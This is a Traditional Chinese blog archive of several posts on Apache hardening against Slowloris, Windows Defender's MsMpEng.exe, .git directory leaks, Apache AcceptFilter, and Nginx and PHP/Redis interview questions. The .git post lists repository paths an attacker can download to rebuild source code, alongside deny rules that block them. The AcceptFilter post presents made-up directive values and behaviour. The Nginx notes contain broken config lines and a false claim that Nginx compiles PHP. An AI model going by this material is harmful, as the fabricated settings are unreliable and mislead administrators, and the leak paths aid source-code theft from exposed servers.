2022年9月12日 星期一

設定 Apache 的 mod_reqtimeout 避免 DDOS 攻擊

如何緩解Slowloris 攻擊?

對於易受Slowloris 攻擊的Web 服務器,有一些方法可以減輕某些影響。易受攻擊的服務器的緩解措施可以分為3 大類:

增加服務器可用性- 增加服務器在任何時間允許的最大客戶端數量,這將增加攻擊者使服務器過載前必須建立的連接數。實際上,無論增加多少,攻擊者都可以擴展攻擊數量以攻克服務器容量。

限制傳入請求的速率- 基於某些使用因素限制訪問,這將有助於緩解Slowloris 攻擊。限制單個IP 地址允許建立的最大連接數,限制慢速傳輸速度,以及限制客戶端允許保持連接的最長時間,這些技巧都是限制慢速攻擊的有效方法。


在 Apache 2.4 中已經內建 mod_reqtimeout,只需要先在 httpd.conf 中把 # 拿掉啟用即可

LoadModule reqtimeout_module modules/mod_reqtimeout.so


例子

等待5秒以完成TLS握手,等待10秒以接收請求標頭,等待30秒以接收請求正文:

RequestReadTimeout handshake=5 header=10 body=30

至少等待10秒鐘以接收請求正文。如果客戶端發送數據,則每接收1000個字節,將超時增加1秒,沒有超時上限(除非間接限制為 LimitRequestBody):

RequestReadTimeout body=10,MinRate=1000

至少等待10秒鐘以接收請求標頭。如果客戶端發送數據,則每接收500個字節將超時增加1秒。但請求標頭的時間不得超過30秒:

RequestReadTimeout header=10-30,MinRate=500

通常,服務器應同時配置標頭超時和主體超時。如果將通用配置用於http和https虛擬主機,則超時不應設置得太低:

RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500


接下來就是設定

<IfModule reqtimeout_module>

RequestReadTimeout header=20-30,MinRate=256 body=100-120,MinRate=512

</IfModule>

2022年9月5日 星期一

什麼是反惡意軟件服務可執行文件(antimalware service executable)?

 什麼是反惡意軟件服務可執行文件(antimalware service executable)?

反惡意軟件服務可執行文件(antimalware service executable)是Windows 10 系統內建 Windows Defender 防火牆下的一個後台進程。此程序也稱為MsMpEng.exe,是Windows操作系統的一部分,始終在後台運行。當用戶訪問檔案時, Windows Defender 負責掃描檢查是否夾帶病毒軟體、安裝病毒定義檔等工作,因此需要使用到磁碟資源、記憶體RAM和CPU。您可以從Windows 10附帶的Windows Defender安全中心應用程序配置Windows Defender,執行掃描並檢查其掃描歷史記錄。

它是病毒嗎?

目前,還沒有任何證據與報告來假裝模仿反惡意軟件服務可執行文件。Windows Defender本身就是一個防病毒軟件。常規後台掃描對於任何防病毒程序都是正常的。因此我們可以相信antimalware service executable這個後台進程對我們來說是安全的。

它為什麼佔用CPU或磁盤資源?

突然的大量使用到CPU或磁盤資源使用表示它可能在掃描您的計算機以查找惡意軟件或定期安裝包含新惡意軟件信息的更新。所有這些程序都需要使用一些系統資源來檢查您的PC並保護您的安全。

怎麼解決antimalware service executable 對於CPU/記憶體使用率過高呢?

但是很多剛剛更新成windows10的用戶不習慣,他們覺得資源占用的情況太過明顯,想要關閉反惡意軟件服務可執行文件(antimalware service executable)以解決CPU/記憶體使用率過高的問題。到底該怎麼解決antimalware service executable 對於CPU/記憶體使用率過高呢?

 

事實上,如果您沒有安裝任何其他防病毒軟件,我們建議您不要禁用Windows Defender防病毒工具和關閉antimalware service executable。雖然,您無法永久禁用它。因為如果Windows Defender未檢測到安裝的其他防病毒應用程序,它將在短時間後重新啟用。


將antimalware service executable 添加到 Windows Defender 的排除列表中

步驟 1. 同時按住Windows鍵+ I ,打開「設定」。點擊「更新與安全性」。

步驟 2. 點擊「Windows Defender」,點擊添加「排除項目」。

步驟 3. 點擊「排除.exe, .com, .scr 程序」。

添加到Windows Defender - 1

步驟 4. 輸入:MsMpEng.exe ,點擊「確定」。


2022年8月30日 星期二

XAMPP CI3 Git 洩漏?

 許多工程師在撰寫程式時,會使用 Git 來做版本控管,在使用 Git 的時候,目錄底下會產生一個 .git 的隱藏檔案,裡面就是 git repository,會儲存程式的修改、新增、刪除等紀錄。

若工程師直接將含有 .git 目錄的專案放到網頁伺服器的公開目錄,駭客便有可能下載 .git 中的資料,利用 git 的機制將原始碼重建。

因此當工程師開發完成時,可能有兩個方法發佈較為妥當:

額外將網頁程式碼製作一個副本 (不含 .git),再發佈到網頁伺服器。

直接將含 git 目錄的專案放到網頁伺服器,但同時做好網頁的權限控管,也就是當你瀏覽 /.git 底下的全部內容時,會回傳 403。

假如工程師在測試登入功能時,將 admin 的帳密紀錄在程式的註解中,並使用 git 紀錄到歷史版本中,當工程師不小心上傳 .git,並且沒有做權限控管,那麼駭客就能從洩漏的 .git 目錄中拿到帳密。

此外,因為 .git 洩漏是已知且普遍的問題,有眾多工具可以協助駭客下載 .git 目錄並重建原始碼,只要網頁不小心將 .git 上傳,那就有許多人可以將網頁的 .git 下載下來,反倒甚至出現針對這種工具漏洞的攻擊:

攻擊者會構建惡意的 .git 目錄,故意將其中的一些資料路徑修改,例如將文件路徑加上很多 ../../../ ,一旦重建工具沒有檢查路徑,重構資料就可以隨意覆蓋到你的正常檔案。


一般來說,只要網址/.git 可以看到東西,基本上就能將程式還原,但是有時候網址輸入 /.git 會出現 403 (「無權」訪問指定的URL而非 「檔案不存在」,代表 .git 目錄可能是存在的,你可以嘗試 /.git/config,看他有沒有擋),或是用其他方式拿到 .git 的資料,例如下載

網址/.git/logs/HEAD 儲存 git 的 log,可以找到歷史 commit

網址/.git/refs/heads/master 會記錄 master 的 commit hash,可以分解出該 commit 的資料

網址/.git/refs/heads 底下會放所有分支的名字資料夾

網址/.git/refs/stash 用於暫時保存 git 工作進度,可以把做到一半的東西先藏起來(stash),不要 commit 出去

git stash list 顯示 stash 內的所有內容

git stash pop 把剛剛做到一半存在 stash 的資料還原

網址/.git/info/packs packs 的件提取與恢復 (比較少考)

網址/.git/index 會儲存 git add 的資料


<Directory "C:/xampp/htdocs">

    Options Includes FollowSymLinks ExecCGI


    AllowOverride All


    Require all granted

    Header set Access-Control-Allow-Origin *

    RedirectMatch 404 /\\.(svn|git|hg|bzr|cvs)(/|$)

</Directory>


<DirectoryMatch "^/.*/\.git/">

    Order allow,deny

    Require all denied

</DirectoryMatch>

2022年3月9日 星期三

Apache 核心功能 AcceptFilter Directive 深入探討

AcceptFilter 指令簡介

AcceptFilter 是 Apache HTTP 伺服器中一個重要的指令,用於配置伺服器如何接受新的連線請求。它直接影響伺服器的效能,尤其是當伺服器面臨高併發連線時。

AcceptFilter 的作用

  • 控制連線接受方式: AcceptFilter 指令指定了 Apache 如何處理 incoming connections。不同的配置會影響伺服器處理連線的順序和方式。
  • 影響伺服器效能: 合理配置 AcceptFilter 可以提升伺服器的效能,特別是在高併發環境下。
  • 適應不同硬件環境: 不同的硬件配置和作業系統可能需要不同的 AcceptFilter 設定。

AcceptFilter 的值

常見的 AcceptFilter 值有:

  • accept: 這是最基本的配置,按照連線到來的順序依次處理。
  • prefork: 為每個子進程預先分配一個 accept() 鎖,提高處理連線的速度。
  • http: 使用 HTTP 協議的 accept() 系統調用。
  • mPM: 由多處理模組 (MPM) 決定如何處理連線。

不同 AcceptFilter 值的比較

AcceptFilter 值描述優點缺點
accept按順序處理連線配置簡單在高併發下可能導致性能瓶頸
prefork為每個子進程預先分配 accept() 鎖提高連線處理速度可能消耗更多系統資源
http使用 HTTP 協議的 accept() 系統調用可以利用一些 HTTP 特性可能不適用於所有情況
mPM由 MPM 決定靈活性高配置較複雜

如何選擇合適的 AcceptFilter

選擇合適的 AcceptFilter 取決於以下因素:

  • 硬件配置: CPU、記憶體等硬件資源的限制會影響 AcceptFilter 的選擇。
  • 作業系統: 不同的作業系統對 AcceptFilter 的支持可能有所不同。
  • 應用程序需求: 不同的應用程序對連線處理的要求也不同。
  • 伺服器負載: 高併發環境下,需要選擇能高效處理連線的配置。

示例配置

Apache
<IfModule mpm_prefork_module>
    AcceptFilter prefork
</IfModule>

上述配置表示使用 prefork 模式,為每個子進程預先分配 accept() 鎖。

注意事項

  • MPM 的影響: AcceptFilter 的效果會受到 MPM 的影響,不同的 MPM 有不同的特性。
  • 其他配置項: AcceptFilter 只是 Apache 配置的一部分,需要與其他配置項配合使用才能達到最佳效果。
  • 性能測試: 最好的方式是通過性能測試來確定最適合的 AcceptFilter 配置。

總結

AcceptFilter 是 Apache 伺服器中一個重要的配置項,它直接影響伺服器的性能。選擇合適的 AcceptFilter 值需要綜合考慮硬件、軟體、應用程序等多方面的因素。通過合理的配置,可以提升伺服器的性能,提高用戶體驗。

2022年3月8日 星期二

Apache假死堵塞卡死無響應解決方法

 啟用MPM模組配置文件

Apache針對不同的作業系統提供了多個不同的MPM模組,例如:mpm_beos、mpm_event、mpm_netware、mpmt_os2、mpm_prefork、mpm_winnt、mpm_worker。

Windows作業系統上默認的MPM模組是mpm_winnt,mpm_winnt模組是專門針對Windows作業系統而優化設計的MPM模組。它只創建一個單獨的子進程,並在這個子進程中輪流產生多個線程來處理請求。

在對Apache的MPM模組具備一定了解後,我們就可以針對不同的MPM模組來修改Apache的最大並發連接數配置了

修改任何文件,建議做好備份。

apache\conf\httpd.conf文件中啟用該配置文件


# Server-pool management (MPM specific)

Include conf/extra/httpd-mpm.conf (去掉該行前面的注釋符號"#")

對應的配置參數作用如下:


ThreadsPerChild:每個子進程的最大並發線程數。 

MaxRequestsPerChild:每個子進程允許處理的請求總數。如果累計處理的請求數超過該值,該子進程將會結束(然後根據需要確定是否創建新的子進程),該值設為0表示不限制請求總數(子進程永不結束)。 

該參數建議設為非零的值,可以帶來以下兩個好處: 

1. 可以防止程序中可能存在的記憶體泄漏無限進行下去,從而耗盡記憶體。 

2. 給進程一個有限壽命,從而有助於當伺服器負載減輕的時候減少活動進程的數量。

注意:在以上涉及到統計請求數量的參數中,對於KeepAlive的連接,只有第一個請求會被計數。


修改MPM模組配置http-mpm.conf文件中的相關配置


在Apace安裝目錄/conf/extra目錄中有一個名為httpd-mpm.conf


#由於mpm_winnt模組只會創建1個子進程,因此這裡對單個子進程的參數設置就相當於對整個Apache的參數設置。

<IfModule mpm_winnt_module>

ThreadsPerChild 521 #默認值是150,推薦設置:小型網站=1000 中型網站=1000~2000 大型網站=2000~3500

MaxRequestsPerChild 3000 #推薦設置:小=10000 中或大=20000~100000

</IfModule>

再考慮一個可能,(apache 2.4)


apache 2.4 IE10瀏覽器會導致Apache2.4版本阻塞假死,有一種說法,用IE10登錄了網站,導致了apache的卡死,這裡做一個防範:

在配置文件httpd.conf中添加如下兩句


AcceptFilter http none

AcceptFilter https none



原文網址:https://kknews.cc/code/2no3569.html

2022年3月7日 星期一

《面試官別再問》Nginx常見的面試題

1. 什麼是Nginx?

Nginx是一個輕量級/高性能的反向代理Web服務器,他實現非常高效的反向代理、負載平衡,他可以處理2-3萬並發連接數,官方監測能支持5萬並發,現在中國使用nginx網站用戶有很多,例如:新浪、網易、 騰訊等。


2. 為什麼要用Nginx?

跨平台、配置簡單、方向代理、高並發連接:處理2-3萬並發連接數,官方監測能支持5萬並發,內存消耗小:開啟10個nginx才佔150M內存,nginx處理靜態文件好,耗費內存少,

而且Nginx內置的健康檢查功能:如果有一個服務器宕機,會做一個健康檢查,再發送的請求就不會發送到宕機的服務器了。重新將請求提交到其他的節點上。

使用Nginx的話還能:

節省寬帶:支持GZIP壓縮,可以添加瀏覽器本地緩存

穩定性高:宕機的概率非常小

接收用戶請求是異步的


2. 為什麼Nginx性能這麼高?

因為他的事件處理機制:異步非阻塞事件處理機制:運用了epoll模型,提供了一個隊列,排隊解決

Nginx怎麼處理請求的?

nginx接收一個請求後,首先由listen和server_name指令匹配server模塊,再匹配server模塊裡的location,location就是實際地址

    server                                  # 第一個Server區塊開始,表示一個獨立的虛擬主機站點

        listen       80;                    # 提供服務的端口,默認80

        server_name  localhost;             # 提供服務的域名主機名

        location / {                        # 第一個location區塊開始

            root   html;                    # 站點的根目錄,相當於Nginx的安裝目錄

            index  index.html index.htm;    # 默認的首頁文件,多個用空格分開

        }                                   # 第一個location區塊結果

    }


3. 什麼是正向代理和反向代理?

正向代理就是一個人發送一個請求直接就到達了目標的服務器

反方代理就是請求統一被Nginx接收,nginx反向代理服務器接收到之後,按照一定的規 則分發給了後端的業務處理服務器進行處理了

使用“反向代理服務器的優點是什麼?

反向代理服務器可以隱藏源服務器的存在和特徵。它充當互聯網雲和web服務器之間的中間層。這對於安全方面來說是很好的,特別是當您使用web託管服務時。


4. Nginx的優缺點?

優點:

佔內存小,可實現高並發連接,處理響應快

可實現http服務器、虛擬主機、方向代理、負載均衡

Nginx配置簡單

可以不暴露正式的服務器IP地址

缺點: 動態處理差:nginx處理靜態文件好,耗費內存少,但是處理動態頁面則很雞肋,現在一般前端用nginx作為反向代理抗住壓力,


5. Nginx應用場景?

http服務器。Nginx是一個http服務可以獨立提供http服務。可以做網頁靜態服務器。

虛擬主機。可以實現在一台服務器虛擬出多個網站,例如個人網站使用的虛擬機。

反向代理,負載均衡。當網站的訪問量達到一定程度後,單台服務器不能滿足用戶的請求時,需要用多台服務器集群可以使用nginx做反向代理。並且多台服務器可以平均分擔負載,不會應為某台服務器負載高宕機而某台服務器閒置的情況。

nginz 中也可以配置安全管理、比如可以使用Nginx搭建API接口網關,對每個接口服務進行攔截。


6. 限流怎麼做的?

Nginx限流就是限制用戶請求速度,防止服務器受不了

限流有3種

正常限制訪問頻率(正常流量)

突發限制訪問頻率(突發流量)

限制並發連接數


1、正常限制訪問頻率(正常流量):

限制一個用戶發送的請求,我Nginx多久接收一個請求。

Nginx中使用ngx_http_limit_req_module模塊來限制的訪問頻率,限制的原理實質是基於漏桶算法原理來實現的。在nginx.conf配置文件中可以使用limit_req_zone命令及limit_req命令限制單個IP的請求處理頻率。

    #定義限流維度,一個用戶一分鐘一個請求進來,多餘的全部漏掉

limit_req_zone $binary_remote_addr zone=one:10m rate=1r/m;


#綁定限流維度

server{

location/seckill.html{

limit_req zone=zone;

proxy_pass http://lj_seckill;

}


}

1r/s代表1秒一個請求,1r/m一分鐘接收一個請求, 如果Nginx這時還有別人的請求沒有處理完,Nginx就會拒絕處理該用戶請求。

2、突發限制訪問頻率(突發流量):

限制一個用戶發送的請求,我Nginx多久接收一個。

    #定義限流維度,一個用戶一分鐘一個請求進來,多餘的全部漏掉

limit_req_zone $binary_remote_addr zone=one:10m rate=1r/m;


#綁定限流維度

server{

location/seckill.html{

limit_req zone=zone burst=5 nodelay;

proxy_pass http://lj_seckill;

}


}

上面的配置一定程度可以限制訪問頻率,但是也存在著一個問題:如果突發流量超出請求被拒絕處理,無法處理活動時候的突發流量,這時候應該如何進一步處理呢?Nginx提供burst參數結合nodelay參數可以解決流量突發的問題,可以設置能處理的超過設置的請求數外能額外處理的請求數。我們可以將之前的例子添加burst參數以及nodelay參數:

為什麼就多了一個burst=5 nodelay; 呢,多了這個可以代表Nginx對於一個用戶的請求會立即處理前五個,多餘的就慢慢來落,沒有其他用戶的請求我就處理你的,有其他的請求的話我Nginx就漏掉不接受你的請求

3、 限制並發連接數

Nginx中的ngx_http_limit_conn_module模塊提供了限制並發連接數的功能,可以使用limit_conn_zone指令以及limit_conn執行進行配置。

    http {

        limit_conn_zone $binary_remote_addr zone=myip:10m;

        limit_conn_zone $server_name zone=myServerName:10m;

    }


    server {

        location / {

            limit_conn myip 10;

            limit_conn myServerName 100;

            rewrite / http://www.lijie.net permanent;

        }

    }

面配置了單個IP同時並發連接數最多只能10個連接,並且設置了整個虛擬服務器同時最大並發數最多只能100個鏈接。當然,只有當請求的header被服務器處理後,虛擬服務器的連接數才會計數。剛才有提到過Nginx是基於漏桶算法原理實現的,實際上限流一般都是基於漏桶算法和令牌桶算法實現的。


7. 為什麼要做動靜分離?

Nginx是當下最熱的Web容器,網站優化的重要點在於靜態化網站,網站靜態化的關鍵點則是是動靜分離,動靜分離是讓動態網站裡的動態網頁根據一定規則把不變的資源和經常變的資源區分開來,動靜資源做好了拆分以後,我們則根據靜態資源的特點將其做緩存操作。

讓靜態的資源只走靜態資源服務器,動態的走動態的服務器

Nginx的靜態處理能力很強,但是動態處理能力不足,因此,在企業中常用動靜分離技術。

對於靜態資源比如圖片,js,css等文件,我們則在反向代理服務器nginx中進行緩存。這樣瀏覽器在請求一個靜態資源時,代理服務器nginx就可以直接處理,無需將請求轉發給後端服務器tomcat。若用戶請求的動態文件,比如servlet,jsp則轉發給Tomcat服務器處理,從而實現動靜分離。這也是反向代理服務器的一個重要的作用。

Nginx怎麼做的動靜分離?

只需要指定路徑對應的目錄。location/可以使用正則表達式匹配。並指定對應的硬盤中的目錄。如下:

    location /image/ {

        root   /usr/local/static/;

        autoindex on;

    }

    

8. Nginx負載均衡的算法怎麼實現的?策略有哪些?

為了避免服務器崩潰,大家會通過負載均衡的方式來分擔服務器壓力。將對台服務器組成一個集群,當用戶訪問時,先訪問到一個轉發服務器,再由轉發服務器將訪問分發到壓力更小的服務器。

Nginx負載均衡實現的策略有以下五種:

1 輪詢(默認)

每個請求按時間順序逐一分配到不同的後端服務器,如果後端某個服務器宕機,能自動剔除故障系統。

    upstream backserver { 

        server 192.168.0.12; 

        server 192.168.0.13; 

    } 

2 權重weight

weight的值越大分配

到的訪問概率越高,主要用於後端每台服務器性能不均衡的情況下。其次是為在主從的情況下設置不同的權值,達到合理有效的地利用主機資源。

    upstream backserver { 

        erver 192.168.0.12 weight=2; 

        erver 192.168.0.13 weight=8; 

    } 

權重越高,在被訪問的概率越大,如上例,分別是20%,80%。

3 ip_hash( IP綁定)

每個請求按訪問IP的哈希結果分配,使來自同一個IP的訪客固定訪問一台後端服務器,并且可以有效解决动态网页存在的session共享问题

    upstream backserver { 

        ip_hash; 

        server 192.168.0.12:88; 

        server 192.168.0.13:80; 

    } 

4 fair(第三方插件)

必須安裝upstream_fair模塊。

對比weight、ip_hash更加智能的負載均衡算法,fair算法可以根據頁面大小和加載時間長短智能地進行負載均衡,響應時間短的優先分配。

    upstream backserver { 

        server server1; 

        server server2; 

        fair; 

    } 

哪個服務器的響應速度快,就將請求分配到那個服務器上。

5、url_hash(第三方插件)

必須安裝Nginx的hash軟件包

按訪問url的hash結果來分配請求,使每個url定向到同一個後端服務器,可以進一步提高後端緩存服務器的效率。

    upstream backserver { 

        server squid1:3128; 

        server squid2:3128; 

        hash $request_uri; 

        hash_method crc32; 

    } 

    

9. nginx中500、502、503、504 有什麼區別?

500:Internal Server Error 內部服務錯誤,比如腳本錯誤,編程語言語法錯誤。

502:Bad Gateway錯誤,網關錯誤。比如服務器當前連接太多,響應太慢,頁面素材太多、帶寬慢。

503:Service Temporarily Unavailable,服務不可用,web服務器不能處理HTTP請求,可能是臨時超載或者是服務器進行停機維護。

504:Gateway timeout 網關超時,程序執行時間過長導致響應超時,例如程序需要執行20秒,而nginx最大響應等待時間為10秒,這樣就會出現超時。


10. Nginx服務器上的Master和Worker進程分別是什麼?

Master進程:讀取及評估配置和維持

Worker進程:解決請求


11. 如何用Nginx解決前端跨域問題?

使用Nginx轉發請求。把跨域的接口寫成調本域的接口,然後將這些接口轉發到真正的請求地址。


12. Nginx VS Apache

Apache 通過創建進程和線程來處理其他的連接。管理員可以通過設置來控制服務器所能允許的最大進程數量。這個配置因機器的可用內存而異。過多的進程會耗盡內存從而使得機器使用磁盤上的交換內存,這嚴重的降低了性能。而且,當達到進程的上限之後,Apache 會拒絕新的連接。

Apache可以通過設置來運行在 pre-forked 模式或 worker multi-process 模式 ( MPM )。當其他的用戶連接時,兩種方式都會創建新的進程。區別在於,pre-forked 模式為每一個進程創建一個線程,用來處理一個用戶的請求。worker 模式也創建新的進程,但是每一個進程至少有一個線程,每一個線程用來處理單個用戶的單個請求。所以,一個 worker mode 的進程處理至少一個連接,而一個 per-fork 模式的進程只處理一個連接。

相比於 forked 模式,worker 模式使用更少的內存,原因是進程比線程消耗更多的內存,線程只是運行在進程中的代碼。

此外,worker 模式不是線程安全的。這意味著如果你使用像 mod_php 這樣的非線程安全的模塊來服務 php 頁面時,你需要使用 pre-forked 模式,因此要消耗更多的內存。所以,當選擇模塊和配置服務器時,你必須要面對是線程還是進程更優的問題以及一些約束的問題。

在調整 Apache 時的一個限制因素是內存以及當爭奪同一個 CPU 和內存時潛在的線程死鎖問題。如果一個線程停止了,用戶會一直處於等待頁面出現的狀態,直到進程將該線程回收,以便可以發回頁面。如果一個線程發生了死鎖,它不知道如何重啟,因此會一直處於卡住狀態。

Openresty

和 Apache 相比,Nginx 的工作方式有很大不同,主要是在於它如何處理線程。

Nginx 並不會為每一個的 web 請求創建新的進程,相反,管理員可以配置 Nginx 主進程的工作進程的數量(一個常見的做法是為每一個 CPU 配置一個工作進程)。所有這些進程都是單線程的。每一個工作進程可以處理數千個並發的請求。它通過一個線程來異步的完成了這些工作,而沒有使用多線程的編程模型。

Nginx 還拆分了緩存加載器 ( cache loader ) 和緩存管理器 ( cache manager ) 進程用來從磁盤中讀取數據並將其加載到緩存中,當緩存直接讀取的時候緩存過期。

Nginx 有一系列的模塊組成,這些模塊在編譯的時候就被包含進去了。這意味著,用戶下載源碼並選擇他們要編譯的模塊。這些模塊中包括連接後端應用服務器,負載均衡,代理服務器以及其他。並沒有 PHP 的模塊,因為 Nginx 可以自己編譯 PHP 代碼。

2022年3月4日 星期五

《面試官別再問》PHP 面試整理

1. 列舉一些PHP 中的設計模式?

    單例模式:保證在整個應用程序的生命週期中,任何一個時刻,單例類的實例都只存在一個,同時這個類還必須提供一個訪問該類的全局訪問點。

    工廠模式:定義一個創建物件的接口,但是讓子類去實例化具體類。工廠方法模式讓類的實例化延遲到子類中。

    觀察者模式:觀察者模式有時也被稱作發布/訂閱模式,該模式用於為物件實現發布/訂閱功能:一旦主體物件狀態發生改變,與之關聯的觀察者物件會收到通知,並進行相應操作。

    適配器模式:適配器模式將一個類的接口轉換成客戶希望的另外一個接口,使得原本由於接口不兼容而不能一起工作的那些類可以在一起工作。

    依賴注入模式:依賴注入(DependencyInjection)是控制反轉(Inversion ofControl)的一種實現方式。要實現控制反轉,通常的解決方案是將創建被調用者實例的工作交由IoC 容器來完成,然後在調用者中註入被調用者(通過構造器/方法注入實現),這樣我們就實現了調用者與被調用者的解耦,該過程被稱為依賴注入。

    門面模式:門面模式(Facade)又稱外觀模式,用於為子系統中的一組接口提供一個一致的界面。


2. Session可不可以設置失效時間,比如30分鐘過期

    設置seesion.cookie_lifetime有30分鐘,並設置session.gc_maxlifetime為30分鐘

    自己為每一個Session值增加timestamp

    每次訪問之前, 判斷時間戳


3. 類的靜態調用和實例化調用各自的利弊

    靜態方法是類中的一個成員方法,屬於整個類,即使不用創建任何對像也可以直接調用!靜態方法效率上要比實例化高,靜態方法的缺點是不自動銷毀,而實例化的則可以做銷毀。


4. Redis五種資料類型及應用場景

    String: 一般做一些複雜的計數功能的緩存

    List: 做簡單的消息隊列的功能

    Hash: 單點登錄

    Set: 做全局去重的功能

    SortedSet: 做排行榜應用,取TopN操作;延時任務;做範圍查找


    Redis string 是redis 最基本的類型,你可以理解成與Memcached 一模一樣的類型,一個key 對應一個value。value其實不僅是String,也可以是數字。string 類型是二進制安全的。

    意思是redis 的string 可以包含任何資料。比如jpg圖片或者序列化的物件。string 類型是Redis 最基本的資料類型,string 類型的值最大能存儲512MB。

    常用命令:get、set、incr、decr、mget等。

    應用場景: String是最常用的一種資料類型,普通的key/ value 存儲都可以歸為此類,即可以完全實現目前Memcached 的功能,並且效率更高。還可以享受Redis的定時持久化,操作日誌及Replication等功能。

    Redis hash 是一個鍵值(key => value)對集合。Redis hash 是一個string 類型的field 和value 的映射表,hash 特別適合用於存儲物件。

    常用命令:hget,hset,hgetall 等。

    應用場景:我們簡單舉個實例來描述下Hash的應用場景,比如我們要存儲一個用戶信息對像資料,包含以下信息:

    用戶ID為查找的key,存儲的value用戶物件包含姓名,年齡,生日等信息。

    使用場景:存儲部分變更資料,如用戶信息等。

    Redis list 列表是簡單的字符串列表,按照插入順序排序。你可以添加一個元素到列表的頭部(左邊)或者尾部(右邊)。

    常用命令:lpush(添加左邊元素),rpush,lpop(移除左邊第一個元素),rpop,lrange(獲取列表片段,LRANGE key start stop)等。

    應用場景:Redis list的應用場景非常多,也是Redis最重要的資料結構之一,比如twitter的關注列表,粉絲列表等都可以用Redis的list結構來實現。

    Redis set是string類型的無序集合。集合是通過hashtable實現的,概念和數學中個的集合基本類似,可以交集,並集,差集等等,set中的元素是沒有順序的。所以添加,刪除,查找的複雜度都是O(1)。

    sadd 命令:添加一個string 元素到key 對應的set 集合中,成功返回1,如果元素已經在集合中返回0,如果key 對應的set 不存在則返回錯誤。

    常用命令:sadd,spop,smembers,sunion 等。

    應用場景:Redis set對外提供的功能與list類似是一個列表的功能,特殊之處在於set是可以自動排重的,當你需要存儲一個列表資料,又不希望出現重複資料時,set是一個很好的選擇,並且set提供了判斷某個成員是否在一個set集合內的重要接口,這個也是list所不能提供的。

    Set 就是一個集合,集合的概念就是一堆不重複值的組合。利用Redis提供的Set資料結構,可以存儲一些集合性的資料。

    Redis zset 和set 一樣也是string類型元素的集合,且不允許重複的成員。

    zadd 命令:添加元素到集合,元素在集合中存在則更新對應score。

    常用命令:zadd,zrange,zrem,zcard等

    使用場景:Redis sorted set的使用場景與set類似,區別是set不是自動有序的,而sorted set可以通過用戶額外提供一個優先級(score)的參數來為成員排序,並且是插入有序的,即自動排序。

    當你需要一個有序的並且不重複的集合列表,那麼可以選擇sorted set資料結構,比如twitter 的public timeline可以以發表時間作為score來存儲,這樣獲取時就是自動按時間排好序的。和Set相比,Sorted Set關聯了一個double類型權重參數score,使得集合中的元素能夠按score進行有序排列,redis正是通過分數來為集合中的成員進行從小到大的排序。

    zset的成員是唯一的,但分數(score)卻可以重複。比如一個存儲全班同學成績的Sorted Set,其集合value可以是同學的學號,而score就可以是其考試得分,這樣在資料插入集合的時候,就已經進行了天然的排序。另外還可以用Sorted Set來做帶權重的隊列,比如普通消息的score為1,重要消息的score為2,然後工作線程可以選擇按score的倒序來獲取工作任務。讓重要的任務優先執行。


5. Redis 緩存雪崩、擊穿、穿透

    什麼是緩存雪崩?

    當某一個時刻出現大規模的緩存失效的情況,那麼就會導致大量的請求直接打在資料庫上面,導致資料庫壓力巨大,如果在高並發的情況下,可能瞬間就會導致資料庫宕機。這時候如果運維馬上又重啟資料庫,馬上又會有新的流量把資料庫打死。這就是緩存雪崩。

    解決方案:

    1、在原有的失效時間上加上一個隨機值,比如1-5分鐘隨機。這樣就避免了因為採用相同的過期時間導致的緩存雪崩。

    2、使用熔斷機制。當流量到達一定的閾值時,就直接返回“系統擁擠”之類的提示,防止過多的請求打在數據庫上。至少能保證一部分用戶是可以正常使用,其他用戶多刷新幾次也能得到結果。

    3、提高數據庫的容災能力,可以使用分庫分錶,讀寫分離的策略。

    什麼是緩存擊穿?

    其實跟緩存雪崩有點類似,緩存雪崩是大規模的key失效,而緩存擊穿是一個熱點的Key,有大並發集中對其進行訪問,突然間這個Key失效了,導致大並發全部打在數據庫上,導致數據庫壓力劇增。這種現象就叫做緩存擊穿。

    解決方案:

    1、上面說過了,如果業務允許的話,對於熱點的key可以設置永不過期的key。

    2、使用互斥鎖。如果緩存失效的情況,只有拿到鎖才可以查詢數據庫,降低了在同一時刻打在數據庫上的請求,防止數據庫打死。當然這樣會導致系統的性能變差。

    什麼是緩存穿透?

    使用Redis大部分情況都是通過Key查詢對應的值,假如發送的請求傳進來的key是不存在Redis中的,那麼就查不到緩存,查不到緩存就會去數據庫查詢。假如有大量這樣的請求,這些請求像“穿透”了緩存一樣直接打在數據庫上,這種現象就叫做緩存穿透。

    解決方案:

    1、把無效的Key存進Redis中。如果Redis查不到數據,數據庫也查不到,我們把這個Key值保存進Redis,設置value="null",當下次再通過這個Key查詢時就不需要再查詢數據庫。這種處理方式肯定是有問題的,假如傳進來的這個不存在的Key值每次都是隨機的,那存進Redis也沒有意義。

    2、使用布隆過濾器。布隆過濾器的作用是某個key 不存在,那麼就一定不存在,它說某個key 存在,那麼很大可能是存在(存在一定的誤判率)。於是我們可以在緩存之前再加一層布隆過濾器,在查詢的時候先去布隆過濾器查詢key 是否存在,如果不存在就直接返回。


6. php7新特性

    1.可以使用字符串(string), 整數(int), 浮點數(float), 以及布爾值(bool),來聲明函數的參數類型與函數返回值

    2.新增操作符“<=>” 語法:$c = $a <=> $b 

    如果$a > $b, $c 的值為1

    如果$a == $b, $c 的值為0

    如果$a < $b, $c 的值為-1

    3.新增操作符“??” 如果變數存在且值不為NULL, 它就會返回自身的值,否則返回它的第二個操作數。

    //原寫法

    $username = isset($_GET['user]) ? $_GET['user] : 'nobody';

    //新寫法

    $username = $_GET['user'] ?? 'nobody';

    4.define() 定義常量陣列

    define('ARR',['a','b']);

    echo ARR[1];// a

    5.命名空間引用優化

    // PHP7以前语法的写法

    use FooLibrary\Bar\Baz\ClassA;

    use FooLibrary\Bar\Baz\ClassB;

    // PHP7新语法写法

    use FooLibrary\Bar\Baz\{ ClassA, ClassB};

    6.list修改

    不再按照相反的順序賦值

    //$arr将会是[1,2,3]而不是之前的[3,2,1]

    list($arr[], $arr[], $arr[]) = [1,2,3];

    不再支持字符串拆分功能

    // $x = null 并且 $y = null

    $str = 'xy';

    list($x, $y) = $str;

    空的list()賦值不再允許

    list() = [123];

    list()現在也適用於陣列物件

    list($a, $b) = (object)new ArrayObject([0, 1]);


7. 如何設計/優化一個訪問量比較大的部落格/論壇

    減少http請求(比如使用雪碧圖)

    優化數據庫(範式、SQL語句、索引、配置、讀寫分離)

    緩存使用(Memcache、Redis)

    負載均衡

    動態內容靜態化+CDN

    禁止外部盜鏈(refer、圖片添加水印)

    控制大文件下載

    使用集群

    

8. PHP使用Nginx實現反向代理

    1、什麼是代理伺服器

    代理伺服器,客戶機在發送請求時,不會直接發送給目的主機,而是先發送給代理伺服器,代理服務接受客戶機請求之後,再向主機發出,並接收目的主機返回的數據,存放在代理伺服器的硬盤中,再發送給客戶機。

